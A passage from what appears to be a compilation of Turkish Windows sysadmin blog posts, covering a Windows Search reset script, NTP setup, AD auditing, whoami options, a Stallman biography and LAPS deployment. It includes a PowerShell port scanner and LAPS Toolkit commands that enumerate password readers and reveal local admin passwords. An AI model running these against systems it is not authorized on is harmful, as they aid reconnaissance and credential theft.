"$Env:localappdata\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache", "$Env:localappdata\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCookies", "$Env:localappdata\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetHistory", "$Env:localappdata\Packages\Microsoft.Search_8wekyb3d8bbwe\AC\AppCache", "$Env:localappdata\Packages\Microsoft.Search_8wekyb3d8bbwe\AC\INetCache", "$Env:localappdata\Packages\Microsoft.Search_8wekyb3d8bbwe\AC\INetCookies", "$Env:localappdata\Packages\Microsoft.Search_8wekyb3d8bbwe\AC\INetHistory", "$Env:localappdata\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache", "$Env:localappdata\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache", "$Env:localappdata\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCookies", "$Env:localappdata\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetHistory") D-FF $d } function R-L { [CmdletBinding()] Param( [String] $c ) K-P $c 2>&1 | out-null D-W # 2>&1 | out-null K-P $c 2>&1 | out-null Start-Sleep -s 5 } function D-E { Write-Host "Press any key to continue..." $Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyUp") > $null } Write-Output "Verifying that the script is running elevated" if (-Not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) { if ([int](Get-CimInstance -Class Win32_OperatingSystem | Select-Object -ExpandProperty BuildNumber) -ge 6000) { $Cx = "-File `"" + $MyInvocation.MyCommand.Path + "`" " + $MyInvocation.UnboundArguments Start-Process -FilePath PowerShell.exe -Verb Runas -ArgumentList "-noexit",$Cx Exit } } $a = "searchui" $b = "$Env:localappdata\Packages\Microsoft.Windows.Search_cw5n1h2txyewy" if (Test-Path -Path $b) { $a = "searchapp" } Write-Output "Resetting Windows Search Box" S-D 2>&1 | out-null R-L $a Write-Output "Done..." D-E --- ## Best Windows Client NTP Services Configuration Link: https://farukguler.com/posts/best-windows-client-ntp-services-configuration/ PS ISE #Show current timezoneGet-TimeZone#List all available time zonesGet-TimeZone -ListAvailable#Set time and dateSet-Date -Date "2023-09-04 11:20:00"#Show and set timezone(Turkey)Get-TimeZoneSet-TimeZone -Id "Turkey Standard Time"#Setting the date and time manually (Interface)start ms-settings:dateandtime#See current system timeGet-Date#Configure Faster (TimeZone) (UTC+03:00) IstanbulSet-TimeZone -Id "Turkey Standard Time"Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\TimeZoneInformation" -Name "Bias" -Value 180 #180 Minutes & 3 Hours & (UTC+03:00) İstanbulRestart-Service w32time#Configure Faster(NTP Server Manual) #Flag 0x1,0x8,0x9,0x10 ..etcw32tm.exe /config /syncfromflags:manual /manualpeerlist:NTP-srv.guler.com,0x8 /reliable:yes /updatew32tm.exe /config /updateRestart-Service w32timew32tm /resync /rediscover /nowait#Configure Faster(NTP to "Default Domain Controller") #All DC'sw32tm /config /syncfromflags:DOMHIER /reliable:YES /updatew32tm /config /updatenet time /domainw32tm /resyncRestart-Service w32time#Delete and Re-Register Time Service Registrationw32tm /unregisterw32tm /register#Verify if the time is from the domain or manuallyw32tm /query /configuration | Select-String ‘type’***Type: NT5DS (Local) Default Domain Controller***Type: NTP (Local) NTP Server "0.tr.pool.ntp.org" ..etc#Some List of Public Time (Top NTP Servers)time.google.comtime.cloudflare.comtime.windows.comserver 0.tr.pool.ntp.orgserver 1.tr.pool.ntp.orgserver 2.tr.pool.ntp.orgserver 3.tr.pool.ntp.orgtime.facebook.comtime.apple.comtime.nist.gov#View Client Information about #Windows Time Service:w32tm /query /statusw32tm /query /sourcew32tm /query /peers Ayrıca incelemek için: (RHEL) Centos 8 NTP Server Configuration https://farukguler.com/2022/09/16/centos8-ntp-server-and-clients-best-configuration Saygılarımla. --- ## Mass Port Scanner by Powershell (Specific and All Ports) Link: https://farukguler.com/posts/mass-port-scanner-by-powershell/ PS: $ports = @(25, 53, 88, 135, 139, 389, 445, 636, 9389, 3269, 5722, 123, 464) # tum portlari tara ornek: 53.. 65535 $serverIP = "10.5.10.217" #Note: You cannot use cmdlet(Powershell) to Check UDP ports. #Note: UDP bağlantı noktalarını Denetlemek için cmdlet(Powershell) kullanamazsınız. foreach ($port in $ports) { $socket = New-Object System.Net.Sockets.TcpClient $result = $socket.BeginConnect($serverIP, $port, $null, $null) Start-Sleep -Milliseconds 500 # gecikme suresi if ($socket.Connected) { Write-Host "Port $port ACIK" $socket.Close() } else { Write-Host "Port $port KAPALI" } } --- ## Active Directory Advanced Audit Policy GPO Configuration Link: https://farukguler.com/posts/advanced-audit-policy-gpo-configuration/ Active Directory Advanced Audit Policy, Windows Server işletim sisteminde Active Directory (AD) hizmeti için gelişmiş denetim politikalarını yönetmeyi sağlayan bir özelliktir. Geleneksel denetim politikalarından farklı olarak, gelişmiş denetim politikaları, daha kapsamlı ve esnek denetim olanakları sunar. Bu özellik, özellikle büyük kuruluşlar ve güvenlik gereksinimleri yüksek ortamlar için önemli bir araçtır. Gelişmiş denetim politikaları, Active Directory'deki nesneler ve kayıtlar üzerindeki değişiklikleri ayrıntılı bir şekilde izlemeye ve denetlemeye olanak tanır. Yöneticiler, belirli olaylarla ilgili ayrıntılı logları etkinleştirerek, izlemek ve olayları raporlamak için daha fazla seçeneğe sahip olurlar. Gelişmiş denetim politikaları, Olay kimlikleri (event IDs) ile ilişkilendirilir ve olay günlüklerine yazılan belirli eylemleri denetler. Örneğin, kullanıcı hesabı oluşturma, hesap silme, şifre değiştirme veya grup üyeliği değiştirme gibi olayları izlemek ve raporlamak için bu politikaları kullanabilirsiniz. Policy Location: "Computer Configuration -> Policies -> Windows Settings -> Security Settings -> Advanced Audit Policy Configuration" Gelişmiş Denetim Politikası Yapılandırması için önerilen ayarlar şu şekildedir. Account Logon NamePolicy SettingDescriptionAudit Credential ValidationFailureThis policy setting allows you to audit events generated by validation tests on user account logon credentials.Audit Kerberos Authentication ServicesFailureThis policy setting allows you to audit events generated by Kerberos authentication ticket-granting ticket (TGT) requests.Audit Kerberos Service Ticket OperationsSuccess and FailureThis policy setting allows you to audit events generated by Kerberos authentication ticket-granting ticket (TGT) requests submitted for user accounts. Account Management NamePolicy SettingDescriptionAudit Computer Account ManagementSuccessThis policy setting allows you to audit events generated by changes to computer accounts such as when a computer account is created, changed, or deleted.Audit Other Account Management EventsSuccessThis policy setting allows you to audit events generated by other user account changes that are not covered in this category, such as the following:Audit Security Group ManagementSuccessThis policy setting allows you to audit events generated by changes to security groups such as the following:Audit User Account ManagementSuccess and FailureThis policy setting allows you to audit changes to user accounts Detailed Tracking NamePolicy SettingDescriptionAudit PNP ActivitySuccessThis policy setting allows you to audit when plug and play detects an external device.Audit Process CreationSuccessThis policy setting allows you to audit events generated when a process is created or starts. The name of the application or user that created the process is also audited. DS Access NamePolicy SettingDescriptionAudit Directory Service AccessFailureThis policy setting allows you to audit events generated when an Active Directory Domain Services (AD DS) object is accessed.Audit Directory Service ChangesSuccessThis policy setting allows you to audit events generated by changes to objects in Active Directory Domain Services (AD DS). Events are logged when an object is created, deleted, modified, moved, or undeleted. Logon/Logoff NamePolicy SettingDescriptionAudit Account LockoutFailureThis policy setting allows you to audit events generated by a failed attempt to log on to an account that is locked out.Audit Group MembershipSuccessThis policy allows you to audit the group memberhsip information in the user’s logon tokenAudit LogonSuccess and FailureThis policy setting allows you to audit events generated by user account logon attempts on the computer.Audit Other Logon/Logoff EventsSuccess and FailureThis policy setting allows you to audit other logon/logoff-related events that are not covered in the “Logon/Logoff”.Audit Special LogonSuccessThis policy setting allows you to audit events generated by special logons such as those with administrator equivalent privileges. Object Access NamePolicy SettingDescriptionAudit Detailed File ShareFailureThis policy setting allows you to audit attempts to access files and folders on a shared folder.Audit File ShareSuccess and FailureThis policy setting allows you to audit attempts to access a shared folder.Audit Other Object Access EventsSuccess and FailureThis policy setting allows you to audit events generated by the management of task scheduler jobs or COM+ objects.Audit Removable StorageSuccess and FailureThis policy setting allows you to audit user attempts to access file system objects on a removable storage device. A security audit event is generated only for all objects for all types of access requested. Policy Change NamePolicy SettingDescriptionAudit Audit Policy ChangeSuccessThis policy setting allows you to audit changes in the security audit policy settings.Audit Authentication Policy ChangeSuccessThis policy setting allows you to audit events generated by changes to the authentication policyAudit MPSSVC Rule-Level Policy ChangeSuccess and FailureThis policy setting allows you to audit events generated by changes in policy rules used by the Microsoft Protection Service (MPSSVC)Audit Other Policy Change EventsFailureThis policy setting allows you to audit events generated by other security policy changes that are not audited in the policy change category Privilege Use NamePolicy SettingDescriptionAudit Sensitive Privilege UseSuccess and FailureThis policy setting allows you to audit events generated when sensitive privileges (user rights) are used. System NamePolicy SettingDescriptionAudit Other System EventsSuccess and FailureThis policy setting allows you to audit systems events such as the startup and shutdown of the Windows firewall.Audit Security State ChangeSuccessThis policy setting allows you to audit systems events such as the startup and shutdown of the Windows firewall.Audit Security System ExtensionSuccessThis policy setting allows you to audit events related to security system extensions or servicesAudit System IntegritySuccess and FailureThis policy setting allows you to audit events that violate the integrity of the security subsystem Global Object Access Auditing NamePolicy SettingDescriptionFile SystemRegistery Bu Windows denetim politikası ayarlarını etkinleştirdiğinizde, alan denetleyicilerinizde Active Directory Günlükleri oluşturulur. Bu günlükler, Windows olay görüntüleyici kullanılarak görüntülenebilir ancak bunları analiz etmek için 3. Parti vb. bir denetim aracı kullanmanızı öneririm. Saygılarımla. – Best regards. --- ## Sconfig Kullanımı Link: https://farukguler.com/posts/sconfig-kullanimi/ Bu komut üzerinden basit bir metin tabanlı menü görüntülenir. Bu menüde çeşitli seçenekler vardır ve her seçeneğin yanında bir numara bulunur. İhtiyacınıza göre ilgili numarayı seçin ve ilgili eylemi gerçekleştirmek için talimatları takip edin. Örnek olarak, "2" numarasını seçerek sunucu adını değiştirebilir veya "8" numarasını seçerek Windows Update yapılandırmasını değiştirebilirsiniz. --- ## Listing the Updates of the Servers under a Certain "OU" Link: https://farukguler.com/posts/listing-the-updates-of-the-servers/ $OU= "OU=MUHASEBE,DC=guler,DC=com" foreach ($Serverlist in (Get-ADComputer -Filter * -SearchBase $OU | select name).Name) { "Servername: "+ $Serverlist Get-Hotfix -cn $Serverlist | Select HotfixID, Description, InstalledOn, ServicePackLevel " " } This PowerShell script gets the list of computers in the Organization Unit named "ACCOUNTING" in the "guler.com" domain. Then it shows the server name and installed hotfixes for each server. --- ## Whoami Commands for Windows Link: https://farukguler.com/posts/whoami-commands-for-windows/ WHOAMI: Bu temel komut, mevcut kullanıcı hakkında bilgi sağlar. Kullanıcının adını ve güvenlik kimliğini (Security ID - SID) gösterir. WHOAMI /UPN: Kullanıcının Üst Düzey Alan Adı (User Principal Name) bilgisini gösterir. UPN, kullanıcının etki alanı hesabını tanımlayan kullanıcı adıdır. WHOAMI /FQDN: Kullanıcının Tam Yetkili Alan Adı (Fully Qualified Domain Name) bilgisini gösterir. Bu, kullanıcının ait olduğu etki alanını ve bilgisayar adını içerir. WHOAMI /LOGONID: Kullanıcının oturum açma kimliğini (Logon ID) gösterir. Oturum açma kimliği, oturum açtığınızda size atanan benzersiz bir kimlik numarasıdır. WHOAMI /USER: Kullanıcının adını ve güvenlik kimliğini (SID) gösterir. Kullanıcının etki alanı hesabını temsil eder. WHOAMI /USER /FO LIST: Kullanıcı bilgilerini liste biçiminde gösterir. Bu, daha kolay okunabilir bir çıktı sağlar. WHOAMI /USER /FO CSV: Kullanıcı bilgilerini CSV (Virgülle Ayrılmış Değerler) biçiminde gösterir. Bu, başka bir program veya betikle kullanmak için uygun bir veri formatıdır. WHOAMI /GROUPS: Kullanıcının üye olduğu grupları gösterir. Kullanıcı, birden fazla grup üyeliğine sahip olabilir. WHOAMI /GROUPS /FO CSV /NH: Kullanıcının üye olduğu grupları CSV formatında gösterir, başlık satırı olmadan (No Header). WHOAMI /CLAIMS: Kullanıcının taleplerini (claims) gösterir. Talepler, kimlik doğrulama ve yetkilendirme süreçlerinde kullanıcı hakkındaki ek bilgileri içerir. WHOAMI /CLAIMS /FO LIST: Kullanıcının taleplerini liste biçiminde gösterir. Bu, taleplerin ayrıntılı bir görünümünü sağlar. WHOAMI /PRIV: Kullanıcının sahip olduğu ayrıcalıkları (privileges) gösterir. Ayrıcalıklar, işletim sisteminde özel yetkilere sahip olmayı ifade eder. WHOAMI /PRIV /FO TABLE: Kullanıcının sahip olduğu ayrıcalıkları tablo biçiminde gösterir. WHOAMI /USER /GROUPS: Kullanıcının üye olduğu gruplarıyla birlikte kullanıcı bilgilerini gösterir. Kullanıcının grup üyeliği ve temel bilgileri bir arada sunar. WHOAMI /USER /GROUPS /CLAIMS /PRIV: Kullanıcının üye olduğu gruplar, talepler ve ayrıcalıklar dahil olmak üzere tüm detaylı bilgileri gösterir. En kapsamlı bilgi çıktısını verir. WHOAMI /ALL: Kullanıcının tüm bilgilerini gösterir. Kullanıcı, gruplar, talepler ve ayrıcalıklar dahil olmak üzere tüm bilgileri içerir. WHOAMI /ALL /FO LIST: Tüm bilgileri liste biçiminde gösterir. Kapsamlı bir çıktı sağlar. WHOAMI /ALL /FO CSV /NH: Tüm bilgileri CSV formatında gösterir, başlık satırı olmadan (No Header). WHOAMI /?: Komutun yardım metnini gösterir, parametreleri açıklar. Bu parametre, kullanım hakkında daha fazla bilgi almanıza yardımcı olur. --- ## Richard Matthew Stallman Kimdir? Link: https://farukguler.com/posts/richard-matthew-stallman/ Richard Matthew Stallman, dünyanın önde gelen özgür yazılım aktivistlerinden biri olarak tanınan Amerikalı bir yazılım geliştiricisidir. 16 Mart 1953 tarihinde New York'ta doğan Stallman, özgür yazılımın savunucusu olarak bilinir ve özgür yazılım hareketinin öncülerinden biridir. Stallman, GNU Projesi ve Özgür Yazılım Vakfı'nın (Free Software Foundation - FSF) kurucusu ve öncüsüdür. Aynı zamanda özgür yazılımın felsefesinin temelini oluşturan GPL (GNU Genel Kamu Lisansı) adlı lisansın yaratıcısıdır. Stallman'ın Hürriyet Savaşçısı Olarak Doğuşu Richard Stallman, bilgisayar dünyasında özgür yazılım hareketini başlatan ve dünya çapında bir topluluk tarafından desteklenen bir misyonerdir. İlk olarak 1970'lerin sonlarında Massachusetts Teknoloji Enstitüsü'nde (MIT) yapay zeka alanında çalışmaya başlamıştır. O dönemde, yazılımın kaynak kodları genellikle halka açıktı ve kullanıcılar yazılımları kendi ihtiyaçlarına göre değiştirip geliştirebiliyorlardı. Ancak, ticari yazılım şirketleri bu açık kaynak modeline karşı giderek daha fazla duvar örmeye başlamışlardır. Yazılımın kaynak kodlarını gizlemek ve kullanıcıların değiştirmesini engellemek, yazılım endüstrisinin yapısını değiştirmeye başlamıştır. Stallman, MIT'de çalıştığı dönemde bir yazıcı sürücüsünü düzenlemesi gerektiğinde kaynak kodlarına erişimi olan yazılımcılardan yardım alırdı. Ancak, zamanla yazılım şirketleri kaynak kodlarını kapatmaya başladığında bu erişim olanakları da kısıtlanmıştır. Bu durum Stallman'ı derinden etkilemiştir ve özgür yazılım fikrini ortaya çıkarmıştır. GNU Projesi'nin Doğuşu Stallman, 1983 yılında, Unix benzeri bir işletim sistemi oluşturmayı amaçlayan devrim niteliğinde bir projeyi hayata geçirmeye karar verdi. Bu projeye "GNU" adını verdi ve GNU, "GNU's Not Unix" (GNU Unix değildir) kısaltmasının bir geri dönüşü anlamına gelir. Projenin temel amacı, tamamen özgür yazılımlardan oluşan bir işletim sistemi yaratmaktı. Stallman, GNU Projesi'nin ana prensiplerini "kullanıcılara yazılımları özgürce çalıştırma, kopyalama, dağıtma, inceleme, değiştirme ve geliştirme özgürlüğü" olarak belirledi. Bunu gerçekleştirebilmek için de tüm yazılımların kaynak kodlarının açık ve erişilebilir olması gerektiğini vurguladı. GPL ve Özgür Yazılım Lisansları Stallman, GNU Projesi'nin temelini oluşturan özgür yazılımın kullanımını garanti altına almak için GPL adlı bir lisans geliştirdi. GNU Genel Kamu Lisansı (GPL), yazılımın özgürce dağıtılmasını ve türetilmiş işlerin de özgür kalmasını sağlamak amacıyla kullanılan Copyleft ilkesini içerir. GPL, yazılımın özgürlüğünü koruyan bir dizi kopyalama, dağıtma ve değiştirme koşulu getirerek, yazılımın kapalı kaynaklı hale gelmesini engeller. Özgür Yazılım Hareketi ve FSF Stallman, GNU Projesi'nin yanı sıra Özgür Yazılım Hareketi'nin de öncüsü oldu. 1985 yılında Özgür Yazılım Vakfı'nı (Free Software Foundation - FSF) kurdu. FSF, özgür yazılımın savunulması, geliştirilmesi ve yaygınlaştırılması amacıyla faaliyet gösterir. Ayrıca, FSF, GPL gibi özgür yazılım lisanslarının kullanımını teşvik eder ve topluluğu bir araya getiren bir dizi etkinlik düzenler. GNU/Linux ve Açık Kaynak Tartışması GNU Projesi, başlangıçta GNU Hurd adında bir çekirdek üzerine inşa ediliyordu, ancak bu çekirdek bir türlü tamamlanamadı. Bu sırada Finlandiyalı bir üniversite öğrencisi olan Linus Torvalds, Linux adını verdiği bir çekirdek geliştirdi. Stallman ve GNU topluluğu, GNU işletim sistemi için Linux çekirdeğini kullanmaya başladı ve bu kombinasyon "GNU/Linux" olarak adlandırıldı. Ancak, açık kaynak savunucuları daha sonra "Linux" adını benimsemeye başladı ve bu durum "GNU/Linux" tartışmasına yol açtı. Stallman, GNU Projesi'nin önemini ve katkılarını göz ardı edildiğini düşünerek "GNU/Linux" adının kullanılmasını savundu. Stallman'ın Etkileri ve Mirası Richard Stallman, özgür yazılım hareketi ve GNU Projesi sayesinde yazılım dünyasında derin bir etki bırakmıştır. Özgür yazılım felsefesi, bilgi ve teknolojiye eşit erişimi savunarak, yazılımın insanların özgürlüğünü destekleyen bir araç olması gerektiğini vurgular. Stallman'ın GNU Projesi ve FSF aracılığıyla yarattığı lisanslar ve felsefe, dünya genelinde birçok projenin ve topluluğun temelini oluşturmuştur. Bugün, açık kaynak ve özgür yazılım hareketi, birçok sektörde ve teknolojide başarıyla uygulanmaktadır. İnternet, güvenlik yazılımları, mobil cihazlar ve hatta bilimsel araştırmalarda açık kaynaklı yazılımların yaygın kullanımı, Stallman'ın vizyonunun gerçekleşmesini göstermektedir. Ancak, Stallman'ın GNU ve özgür yazılım hareketi hakkındaki tutkulu duruşu, zaman zaman tartışmalı yorumlar ve olaylarla da gölgelenmiştir. 2019 yılında kadınlarla ilgili yaptığı bazı açıklamalar ve davranışları nedeniyle toplum içinde eleştirilere maruz kalmış ve FSF başkanlık görevinden istifa etmek zorunda kalmıştır. Bu olaylar, özgür yazılım hareketinin içinde ve dışında etkili bir şekilde tartışılmıştır. Sonuç olarak, Richard Stallman, bilgisayar dünyasına olan katkıları ve özgür yazılım felsefesiyle birçok kişinin hayatına dokunmuş, teknoloji ve özgürlük konusunda farkındalığı artırmıştır. GNU Projesi ve FSF, Stallman'ın mirasını yaşatmaya ve özgür yazılımın yaygınlaşmasını desteklemeye devam edecektir. --- ## Microsoft Local Administrator Password Solution (LAPS) Detaylı Link: https://farukguler.com/posts/microsoft-local-administrator-password-solution-laps-detayli/ Local Administrator Password Solution (LAPS) Nedir? LAPS (Local Administrator Password Solution), Microsoft tarafından geliştirilen ve kurumların yerel yönetici hesaplarının parola güvenliğini artırmayı amaçlayan bir çözümdür. Bu çözüm, bilgisayarların yerel Administrator hesaplarının parolalarını belirli algoritmalar kullanarak rastgele bir şekilde oluşturur ve bu parolaları Active Directory içerisinde bulunan bilgisayar hesaplarının özelliklerine saklar. Bu sayede tüm bilgisayarların aynı parolayı kullanmaması ve parolaların düzenli olarak değiştirilmesi sağlanarak güvenlik riskleri büyük ölçüde azaltılır. ***LAPS'ı kullanmak için bir ücret ödemenize gerekmez LAPS'ın Çalışma Mekanizması: Kurulum: LAPS, Active Directory ortamına özel bir Group Policy (Grup İlkesi) eklentisi olarak kurulur. Bu işlem, LAPS'ın Active Directory'de yeni bir özellik eklemesini sağlar. Active Directory "Şema" Genişletilmesi: LAPS şemasının halihazırda şu özniteliklerle başarılı bir şekilde genişletilmesi gerekir. msLAPS-PasswordExpirationTime msLAPS-Password msLAPS-EncryptedPassword msLAPS-EncryptedPasswordHistory msLAPS-EncryptedDSRMPassword msLAPS-EncryptedDSRMPasswordHistory 3. Erişim Kontrolü ve Gerekli izinler: LAPS, yalnızca yetkili kişilerin yerel yönetici parolalarını görüntülemesine ve kullanmasına izin verir. Bu yetkililer genellikle Active Directory üzerinde belirli izinlere sahip sistem yöneticileridir. 4. Group Policy Yönetimi: LAPS, yerel yönetici parolalarını güncellemek ve saklamak için bir dizi özelleştirilebilir Grup İlkesi sunar. Bu sayede organizasyon, belirli gereksinimlere uygun şekilde LAPS'ı yapılandırabilir. 5. İstemci Bilgisayarların Gerekli Kurulum ve Yapılandırılmaları: LAPS'ı kullanarak yerel Administrator kullanıcısının parolasını yönetmek için, ilgili bilgisayarlara uygun LAPS istemci yazılımının kurulması gerekmektedir. Bu istemci yazılımı, parola değişiklikleri ve yönetimini otomatik olarak gerçekleştirir ve değiştirilen parolaları AD üzerinde bulunan bilgisayar nesnesine yazar. 6. Parolanın görülmesi ve Değiştirilme Tarihinin Belirlenmesi: Bu aşamada LAPS'ı başarıyla yapılandırdıktan sonra yerel Administrator kullanıcısının parolasını görüntülemek ve değiştirme tarihini ayarlamak için farklı yöntemler kullanılacaktır. LAPS Bileşenleri Nelerdir? AdmPwd GPO Extension: LAPS'ın etkin olması için gereken ana bileşendir. Bu GPO uzantısı, yerel Administrator parolasını yönetmek için gerekli ayarları sağlar ve parolayı düzenli olarak yeniler. Bu sayede bilgisayarların yerel yönetici hesaplarının zayıf veya statik parolalardan kaynaklanan güvenlik açıklarını azaltır. Fat Client UI: Bu bileşen, LAPS ile yönetilen bilgisayarların parolalarını okumak ve parolanın ne zaman yenileneceğini belirlemek için kullanılan bir arayüzdür. Parola okuma ve tarih belirleme işlemleri için bu bileşene yetki verilmesi gerekir. Powershell Module: LAPS ile ilgili tüm ayarları yapmak ve parola okuma ve sıfırlama gibi yönetim işlemlerini gerçekleştirmek için kullanılan Powershell komutlarını içerir. Bu modül, LAPS ile ilişkili tüm işlemleri kolayca gerçekleştirmeyi sağlar. Bu modülü çalıştırmak için gerekli yetkilendirmelerin Active Directory (AD) üzerinde yapılmış olması gerekir. GPO Editor Templates: Bilgisayarların parola politikalarını merkezi olarak yönetmek için Group Policy (Grup İlkesi) kullanılır. LAPS ayarları da GPO Editor Templates içinde bulunur ve LAPS'ın etkinleştirilmesi ve yapılandırılması için kullanılır. LAPS Kurulum Adımları: LAPS'ı Yönetim makineniz/AD yükleyin LAPS için gerekli link: https://www.microsoft.com/en-us/download/details.aspx?id=46899 Version: Version: 6.2.0.0 Kurulum: Linkten dosyalar indirilip gerekli olan LAPS.x64.msi dosyası çalıştırılarak Yönetim makineniz/AD ortamında kurulum işlemi başlatılacaktır. ***Custom Setup bölümünde sadece Management Tools ve altındaki bileşenler seçilmelidir. Kurulum tamamladıktan sonra Yönetim makineniz/AD "C:\Program Files\LAPS" klasörünün içeriğine erişebilirsiniz. Active Directory "Şema" Genişletilmesi: LAPS (Local Administrator Password Solution) kullanabilmek için, Active Directory şemasının genişletilmesi gerekmektedir. Bu işlem bir defaya mahsustur. NOT: ****Bu işlemi gerçekleştirmeden önce, AD şemanızın yedeğini almanızı şiddetle öneririm.#AdmPwd.PS modülünü içe aktar:Import-Module AdmPwd.PS#LAPS modülünün yüklendiğini doğrulamak için:Get-Module -Name AdmPwd.PS -ListAvailable#Şemayı genişletmek için:Update-AdmPwdADSchema#Şema genişletme işlemi LAPS ile ilişkilendirilmiş yeni özellikleri Active Directory şemasına ekler. Yönetim makineniz-AD'deki hakların kaldırılması: Bu adım, kullanıcıların AD'de parolaları görüntülemesine izin veren genişletilmiş hakları kaldırmak için gereklidir. Bunu yaptıktan sonra, bunu yapabilmesi gereken belirli kullanıcılara parolayı görüntülemek ve değiştirmek için gereken belirli izinleri vereceğiz. ***Kaldırmak istediğimiz izne "Tüm Genişletilmiş Haklar" denir.  Bu, kullanıcıların ms-Mcs-AdmPwd özniteliğini okumasına olanak tanır ve tüm kullanıcıların bu haklara sahip olması gerekmez. Active Directory'ye giderek, bilgisayarlarınızın bulunduğu OU'ya sağ tıklayıp Özellikler'i seçerek izinleri bulabilirsiniz. Security > Advanced'e gidin, değiştirmek istediğiniz Kullanıcıları veya Grubu seçin ve Edit tıklayın."All Extended Rights"ın işaretini kaldırın. Devam ederek bunu değiştirilmesi gereken tüm Kullanıcılar ve Gruplar için yapın. Bazı durumlarda, izinler devralınır ve dizininizin daha yüksek bir düzeyinde değiştirilmesi gerekir. Erişim Kontrolü ve Gerekli izinler: Active Directory'de LAPS özelliklerini kullanabilmek için gerekli "Grup ve OU" yetkilendirme işlemleri belirtilen Manuel veya Powershell komutları ile yapılabilir. #Parolaları Görüntüleme Yetkisi İçin #"MUHASEBE" OU'su içindeki bilgisayarlar için, "HelpDesk" grubuna, LAPS parolalarını görüntüleme izni ver.Set-AdmPwdReadPasswordPermission -OrgUnit "MUHASEBE" -AllowedPrincipals "HelpDesk" #Parolaları Değiştirme Yetkisi İçin: #"MUHASEBE" OU'su içindeki bilgisayarlar için, "HelpDesk" grubuna, LAPS parolalarını değiştirme izni ver.Set-AdmPwdResetPasswordPermission -OrgUnit "MUHASEBE" -AllowedPrincipals "HelpDesk" #Computer Write Access için: Bilgisayarların parolalarını Active Directory'e yazmasına izin verin Set-AdmPwdComputerSelfPermission -OrgUnit "MUHASEBE"#LAPS'ı kullanabilmek için bilgisayar hesaplarının kendi parolalarını Active Directory'e yazma yetkisi(write access) vermeniz gerekir.#Eğer birden fazla OU içinde LAPS'ı etkinleştirmek istiyorsanız, bu komutu her bir OU için ayrı ayrı çalıştırmanız gerekecektir.#Önemli bir nokta, bu komutun verilen OU'daki tüm alt OU'lar için otomatik olarak yetkilendirmeyi miras bırakmasıdır. Yani, alt OU'lar için ayrı bir işlem yapmanıza gerekmez. Parolaları okuma/yazma yetkisine sahip user ve groupları göster:Find-AdmPwdExtendedRights -Identity MUHASEBE | Out-GridView #LAPS Toolkit##################################################################### Get groups that can read passwordsFind-LAPSDelegatedGroupsOrgUnit Delegated Groups------- ----------------OU=Servers,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\Domain AdminsOU=Workstations,DC=DOMAIN_NAME,DC=LOCAL DOMAIN_NAME\LAPS Admin# Checks the rights on each computer with LAPS enabled for any groups# with read access and users with "All Extended Rights"Find-AdmPwdExtendedRightsComputerName Identity Reason------------ -------- ------MSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\Domain Admins DelegatedMSQL01.DOMAIN_NAME.LOCAL DOMAIN_NAME\LAPS Admins Delegated# Get computers with LAPS enabled, expirations time and the password (if you have access)Get-LAPSComputersComputerName Password Expiration------------ -------- ----------DC01.DOMAIN_NAME.LOCAL +%4(d45-H7= 12/10/2022 13:24:41 Group Policy Yönetimi: Bilgisayarların yerel Administrator kullanıcısı için parola politikalarını merkezi olarak Group Policy ile düzenlemek için aşağıdaki adımları takip edebilirsiniz: ***Computer Configuration" > "Policies" > "Administrative Templates" altında "LAPS" alanına gidin. "GPO NAME:LAPS" ***LAPS ile uygulanabilecek dört adet kural bulunur. 2 tanesi zorunludur. Password Settings (Zorunlu): Bu kural, LAPS ile yönetilecek yerel yönetici hesaplarının parola ayarlarını tanımlar. Bu ayarlar, otomatik olarak güçlü rastgele parolaların oluşturulmasını ve uygulanmasını içerir. Böylece her yönetilen bilgisayarın yerel yönetici hesabının güvenliği artırılır. Enable local admin password management (Zorunlu): LAPS'ın etkinleştirilmesini sağlayan zorunlu bir kuraldır. Bu kuralın etkinleştirilmesi, LAPS'ın yerel yönetici hesaplarının parolalarını yönetme yeteneğini devreye sokar. Name of the administrator account to manage (Spesifk): Bu tercihe bağlı kural, LAPS'ın yöneteceği özel bir yönetici hesabı adını belirtir. Eğer belirli bir yönetici hesabı adı belirtilmezse, LAPS varsayılan olarak "Administrator" adlı yerel yönetici hesabını yönetir. Do not allow password expiration time longer than required by policy (Spesifk): Bu tercihe bağlı kural, belirli bir parola süresi politikasına uymayan uzun süreli parolaların kullanılmasını engeller. Böylece parola süresi politikasına uygun olarak düzenli parola değişiklikleri teşvik edilir ve güvenlik sağlanmış olur. ***Görüldüğü üzere: parola karmaşıklığı, parola uzunluğu ve parola geçerlilik süresini belirledim. büyük harf, küçük harf ve rakam içerecek, 8 karakterden oluşacak ve her 30 günde bir değiştirilecek şekilde ayarladım. Local Administrator hesabının gerekli ise GPO ile aktif hale getirilmesi: Birçok organizasyon, güvenlik nedenleriyle yerel Yönetici Hesaplarını devre dışı bırakma eğilimindedir ve bunun yerine yönetilen bir hesap veya başka bir kimlik doğrulama yöntemi kullanmayı tercih eder. Ancak bazı durumlarda, yerel Yönetici Hesaplarının etkin olması gerekebilir. LAPS uygulamasında özel bir "yerel admin" hesabı kullanmadığınız sürece (Administrator) hesabının aktif olması gereklidir. İstemci Bilgisayarların Gerekli Kurulum ve Yapılandırılmaları: LAPS'ı bilgisayarlarınıza dağıtın: Şimdi yönetmek istediğiniz cihazlara LAPS istemcisini yüklemeniz gerekiyor. Bir MSI olduğu için bunu yapmanın birden çok yolu vardır. Kullanabileceğiniz seçeneklere bağlı olarak MECM veya benzeri bir platform kullanmanızı tavsiye ederim. GPO MECM (Microsoft Endpoint Configuration Manager) Oturum Açma Komut Dosyası Manuel #Yükleme string:msiexec /i "LAPS.x64.msi" /q#Kaldırma string:Msiexec /x {EA8CB806-C109-4700-96B4-F1F268E5036C} /passive Hangi yöntemin kullanılacağı, organizasyonun büyüklüğüne ve yapılandırma yönetimi 